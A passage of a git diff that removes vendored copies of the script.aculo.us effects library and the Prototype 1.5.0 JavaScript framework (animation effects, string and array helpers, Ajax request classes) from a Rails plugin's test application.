} - }, arguments[1] || {}) - ); -} - -// Bug in opera makes the TD containing this element expand for a instance after finish -Effect.Squish = function(element) { - return new Effect.Scale(element, window.opera ? 1 : 0, { - restoreAfterFinish: true, - beforeSetup: function(effect) { - effect.element.makeClipping(); - }, - afterFinishInternal: function(effect) { - effect.element.hide().undoClipping(); - } - }); -} - -Effect.Grow = function(element) { - element = $(element); - var options = Object.extend({ - direction: 'center', - moveTransition: Effect.Transitions.sinoidal, - scaleTransition: Effect.Transitions.sinoidal, - opacityTransition: Effect.Transitions.full - }, arguments[1] || {}); - var oldStyle = { - top: element.style.top, - left: element.style.left, - height: element.style.height, - width: element.style.width, - opacity: element.getInlineOpacity() }; - - var dims = element.getDimensions(); - var initialMoveX, initialMoveY; - var moveX, moveY; - - switch (options.direction) { - case 'top-left': - initialMoveX = initialMoveY = moveX = moveY = 0; - break; - case 'top-right': - initialMoveX = dims.width; - initialMoveY = moveY = 0; - moveX = -dims.width; - break; - case 'bottom-left': - initialMoveX = moveX = 0; - initialMoveY = dims.height; - moveY = -dims.height; - break; - case 'bottom-right': - initialMoveX = dims.width; - initialMoveY = dims.height; - moveX = -dims.width; - moveY = -dims.height; - break; - case 'center': - initialMoveX = dims.width / 2; - initialMoveY = dims.height / 2; - moveX = -dims.width / 2; - moveY = -dims.height / 2; - break; - } - - return new Effect.Move(element, { - x: initialMoveX, - y: initialMoveY, - duration: 0.01, - beforeSetup: function(effect) { - effect.element.hide().makeClipping().makePositioned(); - }, - afterFinishInternal: function(effect) { - new Effect.Parallel( - [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }), - new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }), - new Effect.Scale(effect.element, 100, { - scaleMode: { originalHeight: dims.height, originalWidth: dims.width }, - sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true}) - ], Object.extend({ - beforeSetup: function(effect) { - effect.effects[0].element.setStyle({height: '0px'}).show(); - }, - afterFinishInternal: function(effect) { - effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); - } - }, options) - ) - } - }); -} - -Effect.Shrink = function(element) { - element = $(element); - var options = Object.extend({ - direction: 'center', - moveTransition: Effect.Transitions.sinoidal, - scaleTransition: Effect.Transitions.sinoidal, - opacityTransition: Effect.Transitions.none - }, arguments[1] || {}); - var oldStyle = { - top: element.style.top, - left: element.style.left, - height: element.style.height, - width: element.style.width, - opacity: element.getInlineOpacity() }; - - var dims = element.getDimensions(); - var moveX, moveY; - - switch (options.direction) { - case 'top-left': - moveX = moveY = 0; - break; - case 'top-right': - moveX = dims.width; - moveY = 0; - break; - case 'bottom-left': - moveX = 0; - moveY = dims.height; - break; - case 'bottom-right': - moveX = dims.width; - moveY = dims.height; - break; - case 'center': - moveX = dims.width / 2; - moveY = dims.height / 2; - break; - } - - return new Effect.Parallel( - [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }), - new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}), - new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }) - ], Object.extend({ - beforeStartInternal: function(effect) { - effect.effects[0].element.makePositioned().makeClipping(); - }, - afterFinishInternal: function(effect) { - effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); } - }, options) - ); -} - -Effect.Pulsate = function(element) { - element = $(element); - var options = arguments[1] || {}; - var oldOpacity = element.getInlineOpacity(); - var transition = options.transition || Effect.Transitions.sinoidal; - var reverser = function(pos){ return transition(1-Effect.Transitions.pulse(pos, options.pulses)) }; - reverser.bind(transition); - return new Effect.Opacity(element, - Object.extend(Object.extend({ duration: 2.0, from: 0, - afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); } - }, options), {transition: reverser})); -} - -Effect.Fold = function(element) { - element = $(element); - var oldStyle = { - top: element.style.top, - left: element.style.left, - width: element.style.width, - height: element.style.height }; - element.makeClipping(); - return new Effect.Scale(element, 5, Object.extend({ - scaleContent: false, - scaleX: false, - afterFinishInternal: function(effect) { - new Effect.Scale(element, 1, { - scaleContent: false, - scaleY: false, - afterFinishInternal: function(effect) { - effect.element.hide().undoClipping().setStyle(oldStyle); - } }); - }}, arguments[1] || {})); -}; - -Effect.Morph = Class.create(); -Object.extend(Object.extend(Effect.Morph.prototype, Effect.Base.prototype), { - initialize: function(element) { - this.element = $(element); - if(!this.element) throw(Effect._elementDoesNotExistError); - var options = Object.extend({ - style: '' - }, arguments[1] || {}); - this.start(options); - }, - setup: function(){ - function parseColor(color){ - if(!color || ['rgba(0, 0, 0, 0)','transparent'].include(color)) color = '#ffffff'; - color = color.parseColor(); - return $R(0,2).map(function(i){ - return parseInt( color.slice(i*2+1,i*2+3), 16 ) - }); - } - this.transforms = this.options.style.parseStyle().map(function(property){ - var originalValue = this.element.getStyle(property[0]); - return $H({ - style: property[0], - originalValue: property[1].unit=='color' ? - parseColor(originalValue) : parseFloat(originalValue || 0), - targetValue: property[1].unit=='color' ? - parseColor(property[1].value) : property[1].value, - unit: property[1].unit - }); - }.bind(this)).reject(function(transform){ - return ( - (transform.originalValue == transform.targetValue) || - ( - transform.unit != 'color' && - (isNaN(transform.originalValue) || isNaN(transform.targetValue)) - ) - ) - }); - }, - update: function(position) { - var style = $H(), value = null; - this.transforms.each(function(transform){ - value = transform.unit=='color' ? - $R(0,2).inject('#',function(m,v,i){ - return m+(Math.round(transform.originalValue[i]+ - (transform.targetValue[i] - transform.originalValue[i])*position)).toColorPart() }) : - transform.originalValue + Math.round( - ((transform.targetValue - transform.originalValue) * position) * 1000)/1000 + transform.unit; - style[transform.style] = value; - }); - this.element.setStyle(style); - } -}); - -Effect.Transform = Class.create(); -Object.extend(Effect.Transform.prototype, { - initialize: function(tracks){ - this.tracks = []; - this.options = arguments[1] || {}; - this.addTracks(tracks); - }, - addTracks: function(tracks){ - tracks.each(function(track){ - var data = $H(track).values().first(); - this.tracks.push($H({ - ids: $H(track).keys().first(), - effect: Effect.Morph, - options: { style: data } - })); - }.bind(this)); - return this; - }, - play: function(){ - return new Effect.Parallel( - this.tracks.map(function(track){ - var elements = [$(track.ids) || $$(track.ids)].flatten(); - return elements.map(function(e){ return new track.effect(e, Object.extend({ sync:true }, track.options)) }); - }).flatten(), - this.options - ); - } -}); - -Element.CSS_PROPERTIES = ['azimuth', 'backgroundAttachment', 'backgroundColor', 'backgroundImage', - 'backgroundPosition', 'backgroundRepeat', 'borderBottomColor', 'borderBottomStyle', - 'borderBottomWidth', 'borderCollapse', 'borderLeftColor', 'borderLeftStyle', 'borderLeftWidth', - 'borderRightColor', 'borderRightStyle', 'borderRightWidth', 'borderSpacing', 'borderTopColor', - 'borderTopStyle', 'borderTopWidth', 'bottom', 'captionSide', 'clear', 'clip', 'color', 'content', - 'counterIncrement', 'counterReset', 'cssFloat', 'cueAfter', 'cueBefore', 'cursor', 'direction', - 'display', 'elevation', 'emptyCells', 'fontFamily', 'fontSize', 'fontSizeAdjust', 'fontStretch', - 'fontStyle', 'fontVariant', 'fontWeight', 'height', 'left', 'letterSpacing', 'lineHeight', - 'listStyleImage', 'listStylePosition', 'listStyleType', 'marginBottom', 'marginLeft', 'marginRight', - 'marginTop', 'markerOffset', 'marks', 'maxHeight', 'maxWidth', 'minHeight', 'minWidth', 'opacity', - 'orphans', 'outlineColor', 'outlineOffset', 'outlineStyle', 'outlineWidth', 'overflowX', 'overflowY', - 'paddingBottom', 'paddingLeft', 'paddingRight', 'paddingTop', 'page', 'pageBreakAfter', 'pageBreakBefore', - 'pageBreakInside', 'pauseAfter', 'pauseBefore', 'pitch', 'pitchRange', 'position', 'quotes', - 'richness', 'right', 'size', 'speakHeader', 'speakNumeral', 'speakPunctuation', 'speechRate', 'stress', - 'tableLayout', 'textAlign', 'textDecoration', 'textIndent', 'textShadow', 'textTransform', 'top', - 'unicodeBidi', 'verticalAlign', 'visibility', 'voiceFamily', 'volume', 'whiteSpace', 'widows', - 'width', 'wordSpacing', 'zIndex']; - -Element.CSS_LENGTH = /^(([\+\-]?[0-9\.]+)(em|ex|px|in|cm|mm|pt|pc|\%))|0$/; - -String.prototype.parseStyle = function(){ - var element = Element.extend(document.createElement('div')); - element.innerHTML = '

    '; - var style = element.down().style, styleRules = $H(); - - Element.CSS_PROPERTIES.each(function(property){ - if(style[property]) styleRules[property] = style[property]; - }); - - var result = $H(); - - styleRules.each(function(pair){ - var property = pair[0], value = pair[1], unit = null; - - if(value.parseColor('#zzzzzz') != '#zzzzzz') { - value = value.parseColor(); - unit = 'color'; - } else if(Element.CSS_LENGTH.test(value)) - var components = value.match(/^([\+\-]?[0-9\.]+)(.*)$/), - value = parseFloat(components[1]), unit = (components.length == 3) ? components[2] : null; - - result[property.underscore().dasherize()] = $H({ value:value, unit:unit }); - }.bind(this)); - - return result; -}; - -Element.morph = function(element, style) { - new Effect.Morph(element, Object.extend({ style: style }, arguments[2] || {})); - return element; -}; - -['setOpacity','getOpacity','getInlineOpacity','forceRerendering','setContentZoom', - 'collectTextNodes','collectTextNodesIgnoreClass','morph'].each( - function(f) { Element.Methods[f] = Element[f]; } -); - -Element.Methods.visualEffect = function(element, effect, options) { - s = effect.gsub(/_/, '-').camelize(); - effect_class = s.charAt(0).toUpperCase() + s.substring(1); - new Effect[effect_class](element, options); - return $(element); -}; - -Element.addMethods(); \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/prototype.js b/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/prototype.js deleted file mode 100644 index 50582217..00000000 --- a/vendor/plugins/has_many_polymorphs/test/integration/app/public/javascripts/prototype.js +++ /dev/null @@ -1,2515 +0,0 @@ -/* Prototype JavaScript framework, version 1.5.0 - * (c) 2005-2007 Sam Stephenson - * - * Prototype is freely distributable under the terms of an MIT-style license. - * For details, see the Prototype web site: http://prototype.conio.net/ - * -/*--------------------------------------------------------------------------*/ - -var Prototype = { - Version: '1.5.0', - BrowserFeatures: { - XPath: !!document.evaluate - }, - - ScriptFragment: '(?:)((\n|\r|.)*?)(?:<\/script>)', - emptyFunction: function() {}, - K: function(x) { return x } -} - -var Class = { - create: function() { - return function() { - this.initialize.apply(this, arguments); - } - } -} - -var Abstract = new Object(); - -Object.extend = function(destination, source) { - for (var property in source) { - destination[property] = source[property]; - } - return destination; -} - -Object.extend(Object, { - inspect: function(object) { - try { - if (object === undefined) return 'undefined'; - if (object === null) return 'null'; - return object.inspect ? object.inspect() : object.toString(); - } catch (e) { - if (e instanceof RangeError) return '...'; - throw e; - } - }, - - keys: function(object) { - var keys = []; - for (var property in object) - keys.push(property); - return keys; - }, - - values: function(object) { - var values = []; - for (var property in object) - values.push(object[property]); - return values; - }, - - clone: function(object) { - return Object.extend({}, object); - } -}); - -Function.prototype.bind = function() { - var __method = this, args = $A(arguments), object = args.shift(); - return function() { - return __method.apply(object, args.concat($A(arguments))); - } -} - -Function.prototype.bindAsEventListener = function(object) { - var __method = this, args = $A(arguments), object = args.shift(); - return function(event) { - return __method.apply(object, [( event || window.event)].concat(args).concat($A(arguments))); - } -} - -Object.extend(Number.prototype, { - toColorPart: function() { - var digits = this.toString(16); - if (this < 16) return '0' + digits; - return digits; - }, - - succ: function() { - return this + 1; - }, - - times: function(iterator) { - $R(0, this, true).each(iterator); - return this; - } -}); - -var Try = { - these: function() { - var returnValue; - - for (var i = 0, length = arguments.length; i < length; i++) { - var lambda = arguments[i]; - try { - returnValue = lambda(); - break; - } catch (e) {} - } - - return returnValue; - } -} - -/*--------------------------------------------------------------------------*/ - -var PeriodicalExecuter = Class.create(); -PeriodicalExecuter.prototype = { - initialize: function(callback, frequency) { - this.callback = callback; - this.frequency = frequency; - this.currentlyExecuting = false; - - this.registerCallback(); - }, - - registerCallback: function() { - this.timer = setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); - }, - - stop: function() { - if (!this.timer) return; - clearInterval(this.timer); - this.timer = null; - }, - - onTimerEvent: function() { - if (!this.currentlyExecuting) { - try { - this.currentlyExecuting = true; - this.callback(this); - } finally { - this.currentlyExecuting = false; - } - } - } -} -String.interpret = function(value){ - return value == null ? '' : String(value); -} - -Object.extend(String.prototype, { - gsub: function(pattern, replacement) { - var result = '', source = this, match; - replacement = arguments.callee.prepareReplacement(replacement); - - while (source.length > 0) { - if (match = source.match(pattern)) { - result += source.slice(0, match.index); - result += String.interpret(replacement(match)); - source = source.slice(match.index + match[0].length); - } else { - result += source, source = ''; - } - } - return result; - }, - - sub: function(pattern, replacement, count) { - replacement = this.gsub.prepareReplacement(replacement); - count = count === undefined ? 1 : count; - - return this.gsub(pattern, function(match) { - if (--count < 0) return match[0]; - return replacement(match); - }); - }, - - scan: function(pattern, iterator) { - this.gsub(pattern, iterator); - return this; - }, - - truncate: function(length, truncation) { - length = length || 30; - truncation = truncation === undefined ? '...' : truncation; - return this.length > length ? - this.slice(0, length - truncation.length) + truncation : this; - }, - - strip: function() { - return this.replace(/^\s+/, '').replace(/\s+$/, ''); - }, - - stripTags: function() { - return this.replace(/<\/?[^>]+>/gi, ''); - }, - - stripScripts: function() { - return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); - }, - - extractScripts: function() { - var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); - var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); - return (this.match(matchAll) || []).map(function(scriptTag) { - return (scriptTag.match(matchOne) || ['', ''])[1]; - }); - }, - - evalScripts: function() { - return this.extractScripts().map(function(script) { return eval(script) }); - }, - - escapeHTML: function() { - var div = document.createElement('div'); - var text = document.createTextNode(this); - div.appendChild(text); - return div.innerHTML; - }, - - unescapeHTML: function() { - var div = document.createElement('div'); - div.innerHTML = this.stripTags(); - return div.childNodes[0] ? (div.childNodes.length > 1 ? - $A(div.childNodes).inject('',function(memo,node){ return memo+node.nodeValue }) : - div.childNodes[0].nodeValue) : ''; - }, - - toQueryParams: function(separator) { - var match = this.strip().match(/([^?#]*)(#.*)?$/); - if (!match) return {}; - - return match[1].split(separator || '&').inject({}, function(hash, pair) { - if ((pair = pair.split('='))[0]) { - var name = decodeURIComponent(pair[0]); - var value = pair[1] ? decodeURIComponent(pair[1]) : undefined; - - if (hash[name] !== undefined) { - if (hash[name].constructor != Array) - hash[name] = [hash[name]]; - if (value) hash[name].push(value); - } - else hash[name] = value; - } - return hash; - }); - }, - - toArray: function() { - return this.split(''); - }, - - succ: function() { - return this.slice(0, this.length - 1) + - String.fromCharCode(this.charCodeAt(this.length - 1) + 1); - }, - - camelize: function() { - var parts = this.split('-'), len = parts.length; - if (len == 1) return parts[0]; - - var camelized = this.charAt(0) == '-' - ? parts[0].charAt(0).toUpperCase() + parts[0].substring(1) - : parts[0]; - - for (var i = 1; i < len; i++) - camelized += parts[i].charAt(0).toUpperCase() + parts[i].substring(1); - - return camelized; - }, - - capitalize: function(){ - return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase(); - }, - - underscore: function() { - return this.gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/,'#{1}_#{2}').gsub(/([a-z\d])([A-Z])/,'#{1}_#{2}').gsub(/-/,'_').toLowerCase(); - }, - - dasherize: function() { - return this.gsub(/_/,'-'); - }, - - inspect: function(useDoubleQuotes) { - var escapedString = this.replace(/\\/g, '\\\\'); - if (useDoubleQuotes) - return '"' + escapedString.replace(/"/g, '\\"') + '"'; - else - return "'" + escapedString.replace(/'/g, '\\\'') + "'"; - } -}); - -String.prototype.gsub.prepareReplacement = function(replacement) { - if (typeof replacement == 'function') return replacement; - var template = new Template(replacement); - return function(match) { return template.evaluate(match) }; -} - -String.prototype.parseQuery = String.prototype.toQueryParams; - -var Template = Class.create(); -Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/; -Template.prototype = { - initialize: function(template, pattern) { - this.template = template.toString(); - this.pattern = pattern || Template.Pattern; - }, - - evaluate: function(object) { - return this.template.gsub(this.pattern, function(match) { - var before = match[1]; - if (before == '\\') return match[2]; - return before + String.interpret(object[match[3]]); - }); - } -} - -var $break = new Object(); -var $continue = new Object(); - -var Enumerable = { - each: function(iterator) { - var index = 0; - try { - this._each(function(value) { - try { - iterator(value, index++); - } catch (e) { - if (e != $continue) throw e; - } - }); - } catch (e) { - if (e != $break) throw e; - } - return this; - }, - - eachSlice: function(number, iterator) { - var index = -number, slices = [], array = this.toArray(); - while ((index += number) < array.length) - slices.push(array.slice(index, index+number)); - return slices.map(iterator); - }, - - all: function(iterator) { - var result = true; - this.each(function(value, index) { - result = result && !!(iterator || Prototype.K)(value, index); - if (!result) throw $break; - }); - return result; - }, - - any: function(iterator) { - var result = false; - this.each(function(value, index) { - if (result = !!(iterator || Prototype.K)(value, index)) - throw $break; - }); - return result; - }, - - collect: function(iterator) { - var results = []; - this.each(function(value, index) { - results.push((iterator || Prototype.K)(value, index)); - }); - return results; - }, - - detect: function(iterator) { - var result; - this.each(function(value, index) { - if (iterator(value, index)) { - result = value; - throw $break; - } - }); - return result; - }, - - findAll: function(iterator) { - var results = []; - this.each(function(value, index) { - if (iterator(value, index)) - results.push(value); - }); - return results; - }, - - grep: function(pattern, iterator) { - var results = []; - this.each(function(value, index) { - var stringValue = value.toString(); - if (stringValue.match(pattern)) - results.push((iterator || Prototype.K)(value, index)); - }) - return results; - }, - - include: function(object) { - var found = false; - this.each(function(value) { - if (value == object) { - found = true; - throw $break; - } - }); - return found; - }, - - inGroupsOf: function(number, fillWith) { - fillWith = fillWith === undefined ? null : fillWith; - return this.eachSlice(number, function(slice) { - while(slice.length < number) slice.push(fillWith); - return slice; - }); - }, - - inject: function(memo, iterator) { - this.each(function(value, index) { - memo = iterator(memo, value, index); - }); - return memo; - }, - - invoke: function(method) { - var args = $A(arguments).slice(1); - return this.map(function(value) { - return value[method].apply(value, args); - }); - }, - - max: function(iterator) { - var result; - this.each(function(value, index) { - value = (iterator || Prototype.K)(value, index); - if (result == undefined || value >= result) - result = value; - }); - return result; - }, - - min: function(iterator) { - var result; - this.each(function(value, index) { - value = (iterator || Prototype.K)(value, index); - if (result == undefined || value < result) - result = value; - }); - return result; - }, - - partition: function(iterator) { - var trues = [], falses = []; - this.each(function(value, index) { - ((iterator || Prototype.K)(value, index) ? - trues : falses).push(value); - }); - return [trues, falses]; - }, - - pluck: function(property) { - var results = []; - this.each(function(value, index) { - results.push(value[property]); - }); - return results; - }, - - reject: function(iterator) { - var results = []; - this.each(function(value, index) { - if (!iterator(value, index)) - results.push(value); - }); - return results; - }, - - sortBy: function(iterator) { - return this.map(function(value, index) { - return {value: value, criteria: iterator(value, index)}; - }).sort(function(left, right) { - var a = left.criteria, b = right.criteria; - return a < b ? -1 : a > b ? 1 : 0; - }).pluck('value'); - }, - - toArray: function() { - return this.map(); - }, - - zip: function() { - var iterator = Prototype.K, args = $A(arguments); - if (typeof args.last() == 'function') - iterator = args.pop(); - - var collections = [this].concat(args).map($A); - return this.map(function(value, index) { - return iterator(collections.pluck(index)); - }); - }, - - size: function() { - return this.toArray().length; - }, - - inspect: function() { - return '#'; - } -} - -Object.extend(Enumerable, { - map: Enumerable.collect, - find: Enumerable.detect, - select: Enumerable.findAll, - member: Enumerable.include, - entries: Enumerable.toArray -}); -var $A = Array.from = function(iterable) { - if (!iterable) return []; - if (iterable.toArray) { - return iterable.toArray(); - } else { - var results = []; - for (var i = 0, length = iterable.length; i < length; i++) - results.push(iterable[i]); - return results; - } -} - -Object.extend(Array.prototype, Enumerable); - -if (!Array.prototype._reverse) - Array.prototype._reverse = Array.prototype.reverse; - -Object.extend(Array.prototype, { - _each: function(iterator) { - for (var i = 0, length = this.length; i < length; i++) - iterator(this[i]); - }, - - clear: function() { - this.length = 0; - return this; - }, - - first: function() { - return this[0]; - }, - - last: function() { - return this[this.length - 1]; - }, - - compact: function() { - return this.select(function(value) { - return value != null; - }); - }, - - flatten: function() { - return this.inject([], function(array, value) { - return array.concat(value && value.constructor == Array ? - value.flatten() : [value]); - }); - }, - - without: function() { - var values = $A(arguments); - return this.select(function(value) { - return !values.include(value); - }); - }, - - indexOf: function(object) { - for (var i = 0, length = this.length; i < length; i++) - if (this[i] == object) return i; - return -1; - }, - - reverse: function(inline) { - return (inline !== false ? this : this.toArray())._reverse(); - }, - - reduce: function() { - return this.length > 1 ? this : this[0]; - }, - - uniq: function() { - return this.inject([], function(array, value) { - return array.include(value) ? array : array.concat([value]); - }); - }, - - clone: function() { - return [].concat(this); - }, - - size: function() { - return this.length; - }, - - inspect: function() { - return '[' + this.map(Object.inspect).join(', ') + ']'; - } -}); - -Array.prototype.toArray = Array.prototype.clone; - -function $w(string){ - string = string.strip(); - return string ? string.split(/\s+/) : []; -} - -if(window.opera){ - Array.prototype.concat = function(){ - var array = []; - for(var i = 0, length = this.length; i < length; i++) array.push(this[i]); - for(var i = 0, length = arguments.length; i < length; i++) { - if(arguments[i].constructor == Array) { - for(var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++) - array.push(arguments[i][j]); - } else { - array.push(arguments[i]); - } - } - return array; - } -} -var Hash = function(obj) { - Object.extend(this, obj || {}); -}; - -Object.extend(Hash, { - toQueryString: function(obj) { - var parts = []; - - this.prototype._each.call(obj, function(pair) { - if (!pair.key) return; - - if (pair.value && pair.value.constructor == Array) { - var values = pair.value.compact(); - if (values.length < 2) pair.value = values.reduce(); - else { - key = encodeURIComponent(pair.key); - values.each(function(value) { - value = value != undefined ? encodeURIComponent(value) : ''; - parts.push(key + '=' + encodeURIComponent(value)); - }); - return; - } - } - if (pair.value == undefined) pair[1] = ''; - parts.push(pair.map(encodeURIComponent).join('=')); - }); - - return parts.join('&'); - } -}); - -Object.extend(Hash.prototype, Enumerable); -Object.extend(Hash.prototype, { - _each: function(iterator) { - for (var key in this) { - var value = this[key]; - if (value && value == Hash.prototype[key]) continue; - - var pair = [key, value]; - pair.key = key; - pair.value = value; - iterator(pair); - } - }, - - keys: function() { - return this.pluck('key'); - }, - - values: function() { - return this.pluck('value'); - }, - - merge: function(hash) { - return $H(hash).inject(this, function(mergedHash, pair) { - mergedHash[pair.key] = pair.value; - return mergedHash; - }); - }, - - remove: function() { - var result; - for(var i = 0, length = arguments.length; i < length; i++) { - var value = this[arguments[i]]; - if (value !== undefined){ - if (result === undefined) result = value; - else { - if (result.constructor != Array) result = [result]; - result.push(value) - } - } - delete this[arguments[i]]; - } - return result; - }, - - toQueryString: function() { - return Hash.toQueryString(this); - }, - - inspect: function() { - return '#'; - } -}); - -function $H(object) { - if (object && object.constructor == Hash) return object; - return new Hash(object); -}; -ObjectRange = Class.create(); -Object.extend(ObjectRange.prototype, Enumerable); -Object.extend(ObjectRange.prototype, { - initialize: function(start, end, exclusive) { - this.start = start; - this.end = end; - this.exclusive = exclusive; - }, - - _each: function(iterator) { - var value = this.start; - while (this.include(value)) { - iterator(value); - value = value.succ(); - } - }, - - include: function(value) { - if (value < this.start) - return false; - if (this.exclusive) - return value < this.end; - return value <= this.end; - } -}); - -var $R = function(start, end, exclusive) { - return new ObjectRange(start, end, exclusive); -} - -var Ajax = { - getTransport: function() { - return Try.these( - function() {return new XMLHttpRequest()}, - function() {return new ActiveXObject('Msxml2.XMLHTTP')}, - function() {return new ActiveXObject('Microsoft.XMLHTTP')} - ) || false; - }, - - activeRequestCount: 0 -} - -Ajax.Responders = { - responders: [], - - _each: function(iterator) { - this.responders._each(iterator); - }, - - register: function(responder) { - if (!this.include(responder)) - this.responders.push(responder); - }, - - unregister: function(responder) { - this.responders = this.responders.without(responder); - }, - - dispatch: function(callback, request, transport, json) { - this.each(function(responder) { - if (typeof responder[callback] == 'function') { - try { - responder[callback].apply(responder, [request, transport, json]); - } catch (e) {} - } - }); - } -}; - -Object.extend(Ajax.Responders, Enumerable); - -Ajax.Responders.register({ - onCreate: function() { - Ajax.activeRequestCount++; - }, - onComplete: function() { - Ajax.activeRequestCount--; - } -}); - -Ajax.Base = function() {}; -Ajax.Base.prototype = { - setOptions: function(options) { - this.options = { - method: 'post', - asynchronous: true, - contentType: 'application/x-www-form-urlencoded', - encoding: 'UTF-8', - parameters: '' - } - Object.extend(this.options, options || {}); - - this.options.method = this.options.method.toLowerCase(); - if (typeof this.options.parameters == 'string') - this.options.parameters = this.options.parameters.toQueryParams(); - } -} - -Ajax.Request = Class.create(); -Ajax.Request.Events = - ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; - -Ajax.Request.prototype = Object.extend(new Ajax.Base(), { - _complete: false, - - initialize: function(url, options) { - this.transport = Ajax.getTransport(); - this.setOptions(options); - this.request(url); - }, - - request: function(url) { - this.url = url; - this.method = this.options.method; - var params = this.options.parameters; - - if (!['get', 'post'].include(this.method)) { - // simulate other verbs over post - params['_method'] = this.method; - this.method = 'post'; - } - - params = Hash.toQueryString(params); - if (params && /Konqueror|Safari|KHTML/.test(navigator.userAgent)) params += '&_=' - - // when GET, append parameters to URL - if (this.method == 'get' && params) - this.url += (this.url.indexOf('?') > -1 ? '&' : '?') + params; - - try { - Ajax.Responders.dispatch('onCreate', this, this.transport); - - this.transport.open(this.method.toUpperCase(), this.url, - this.options.asynchronous); - - if (this.options.asynchronous) - setTimeout(function() { this.respondToReadyState(1) }.bind(this), 10); - - this.transport.onreadystatechange = this.onStateChange.bind(this); - this.setRequestHeaders(); - - var body = this.method == 'post' ? (this.options.postBody || params) : null; - - this.transport.send(body); - - /* Force Firefox to handle ready state 4 for synchronous requests */ - if (!this.options.asynchronous && this.transport.overrideMimeType) - this.onStateChange(); - - } - catch (e) { - this.dispatchException(e); - } - }, - - onStateChange: function() { - var readyState = this.transport.readyState; - if (readyState > 1 && !((readyState == 4) && this._complete)) - this.respondToReadyState(this.transport.readyState); - }, - - setRequestHeaders: function() { - var headers = { - 'X-Requested-With': 'XMLHttpRequest', - 'X-Prototype-Version': Prototype.Version, - 'Accept': 'text/javascript, text/html, application/xml, text/xml, */*' - }; - - if (this.method == 'post') { - headers['Content-type'] = this.options.contentType + - (this.options.encoding ? '; charset=' + this.options.encoding : ''); - - /* Force "Connection: close" for older Mozilla browsers to work - * around a bug where XMLHttpRequest sends an incorrect - * Content-length header. See Mozilla Bugzilla #246651. - */ - if (this.transport.overrideMimeType && - (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005) - headers['Connection'] = 'close'; - } - - // user-defined headers - if (typeof this.options.requestHeaders == 'object') { - var extras = this.options.requestHeaders; - - if (typeof extras.push == 'function') - for (var i = 0, length = extras.length; i < length; i += 2) - headers[extras[i]] = extras[i+1]; - else - $H(extras).each(function(pair) { headers[pair.key] = pair.value }); - } - - for (var name in headers) - this.transport.setRequestHeader(name, headers[name]); - }, - - success: function() { - return !this.transport.status - || (this.transport.status >= 200 && this.transport.status < 300); - }, - - respondToReadyState: function(readyState) { - var state = Ajax.Request.Events[readyState]; - var transport = this.transport, json = this.evalJSON(); - - if (state == 'Complete') { - try { - this._complete = true; - (this.options['on' + this.transport.status] - || this.options['on' + (this.success() ? 'Success' : 'Failure')] - || Prototype.emptyFunction)(transport, json); - } catch (e) { - this.dispatchException(e); - } - - if ((this.getHeader('Content-type') || 'text/javascript').strip(). - match(/^(text|application)\/(x-)?(java|ecma)script(;.*)?$/i)) - this.evalResponse(); - } - - try { - (this.options['on' + state] || Prototype.emptyFunction)(transport, json); - Ajax.Responders.dispatch('on' + state, this, transport, json); - } catch (e) { - this.dispatchException(e); - } - - if (state == 'Complete') { - // avoid memory leak in MSIE: clean up - this.transport.onreadystatechange = Prototype.emptyFunction; - } - }, - - getHeader: function(name) { - try { - return this.transport.getResponseHeader(name); - } catch (e) { return null } - }, - - evalJSON: function() { - try { - var json = this.getHeader('X-JSON'); - return json ? eval('(' + json + ')') : null; - } catch (e) { return null } - }, - - evalResponse: function() { - try { - return eval(this.transport.responseText); - } catch (e) { - this.dispatchException(e); - } - }, - - dispatchException: function(exception) { - (this.options.onException || Prototype.emptyFunction)(this, exception); - Ajax.Responders.dispatch('onException', this, exception); - } -}); - -Ajax.Updater = Class.create(); - -Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), { - initialize: function(container, url, options) { - this.container = { - success: (container.success || container), - failure: (container.failure || (container.success ? null : container)) - } - - this.transport = Ajax.getTransport(); - this.setOptions(options); - - var onComplete = this.options.onComplete || Prototype.emptyFunction; - this.options.onComplete = (function(transport, param) { - this.updateContent(); - onComplete(transport, param); - }).bind(this); - - this.request(url); - }, - - updateContent: function() { - var receiver = this.container[this.success() ? 'success' : 'failure']; - var response = this.transport.responseText; - - if (!this.options.evalScripts) response = response.stripScripts(); - - if (receiver = $(receiver)) { - if (this.options.insertion) - new this.options.insertion(receiver, response); - else - receiver.update(response); - } - - if (this.success()) { - if (this.onComplete) - setTimeout(this.onComplete.bind(this), 10); - } - } -}); - -Ajax.PeriodicalUpdater = Class.create(); -Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), { - initialize: function(container, url, options) { - this.setOptions(options); - this.onComplete = this.options.onComplete; - - this.frequency = (this.options.frequency || 2); - this.decay = (this.options.decay || 1); - - this.updater = {}; - this.container = container; - this.url = url; - - this.start(); - }, - - start: function() { - this.options.onComplete = this.updateComplete.bind(this); - this.onTimerEvent(); - }, - - stop: function() { - this.updater.options.onComplete = undefined; - clearTimeout(this.timer); - (this.onComplete || Prototype.emptyFunction).apply(this, arguments); - }, - - updateComplete: function(request) { - if (this.options.decay) { - this.decay = (request.responseText == this.lastText ? - this.decay * this.options.decay : 1); - - this.lastText = request.responseText; - } - this.timer = setTimeout(this.onTimerEvent.bind(this), - this.decay * this.frequency * 